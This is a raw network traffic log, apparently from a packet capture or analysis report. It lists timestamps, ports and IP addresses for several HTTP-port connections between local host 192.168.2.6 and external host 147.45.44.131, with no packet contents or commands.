Jan 2, 2025 19:14:16.311041117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311048985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311055899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311060905 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311067104 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311134100 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311198950 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311217070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311222076 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311239958 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311247110 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311252117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311258078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311263084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311269045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311283112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311284065 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311338902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311377048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311386108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311392069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311395884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311402082 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311407089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311413050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311418056 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311424017 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311428070 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311429024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311435938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311454058 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311511993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311523914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311528921 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311528921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311536074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311543941 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311575890 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311575890 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311691046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311697006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311702967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311707973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311713934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311719894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311731100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311737061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311742067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311747074 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311748981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311769962 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311815023 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311815023 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.311889887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311896086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311907053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311912060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311918020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.311974049 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312052965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312060118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312066078 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312071085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312076092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312082052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312093019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312099934 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312117100 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312150955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312150955 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312376976 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312391996 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312406063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312411070 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312422037 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312427998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312433958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312438965 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312443972 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312448025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312449932 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312484980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312484980 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312530994 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312536955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312542915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312552929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312601089 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312700987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312715054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312760115 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312855959 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312864065 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312875986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312881947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312892914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.312918901 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.312946081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313023090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313035965 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313041925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313047886 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313054085 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313059092 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313070059 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313074112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313081026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313086987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313087940 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313136101 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313174963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313180923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313186884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313205957 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313350916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313357115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313370943 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313381910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313388109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313393116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313397884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313400030 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313404083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313410997 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313416958 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313442945 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313457966 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313504934 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313512087 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313523054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313529015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313534975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313539028 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313560963 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313591003 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.313951015 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313956022 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313967943 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.313975096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314027071 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314050913 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314079046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314085960 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314121962 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314265013 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314270020 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314275026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314280987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314285994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314291954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314296961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314302921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314305067 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314312935 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314321995 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314392090 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314393997 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314428091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314433098 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314445019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314456940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314461946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314467907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314485073 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314506054 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314523935 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314609051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314615011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314621925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314627886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314635038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314639091 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314696074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314696074 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314764977 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314770937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314785957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314790964 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314802885 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314809084 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314815044 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.314831972 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.314851999 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315052986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315058947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315071106 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315076113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315088034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315093994 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315109968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315109968 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315150023 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315238953 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315244913 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315257072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315263033 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315274954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315280914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315287113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315293074 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315304041 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315304041 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315320969 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315692902 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315700054 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315711021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315716028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315721989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315726995 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315737963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315771103 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315771103 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315788031 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.315857887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315864086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315871000 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315876007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315886974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.315922976 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316028118 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316077948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316097021 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316196918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316203117 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316210032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316215038 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316220045 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316226006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316231012 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316253901 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316258907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316271067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316273928 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316273928 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316310883 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316310883 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316448927 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316462994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316468954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316484928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316492081 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316498041 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316509962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316515923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316523075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316533089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316549063 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316549063 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316579103 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316602945 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316615105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316620111 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316626072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316632032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316647053 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316664934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316695929 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316757917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316765070 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316771984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316776991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316788912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316793919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316797018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316844940 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.316941977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316952944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316965103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316967010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316972017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.316973925 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317025900 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317334890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317341089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317352057 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317357063 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317394972 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317411900 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317491055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317497015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317502975 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317507982 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317518950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317533970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317550898 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317651987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317658901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317665100 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317670107 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317675114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317688942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317694902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317702055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317708015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317744970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.317899942 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317905903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.317979097 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.318052053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318058968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318064928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318089962 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.318130970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.318367958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318372965 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318384886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318392038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318397045 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318442106 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.318461895 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.318511963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318526030 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318536997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.318578005 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.319928885 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.319936037 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.319947958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.319998026 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320033073 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320070982 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320080042 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320081949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320092916 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320099115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320103884 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320110083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320116043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320120096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320126057 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320132017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320138931 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320168018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.320384979 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320401907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320408106 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320419073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320425034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320430994 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320436954 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.320441961 CET	80	49726	147.45.44.131	192.168.2.6
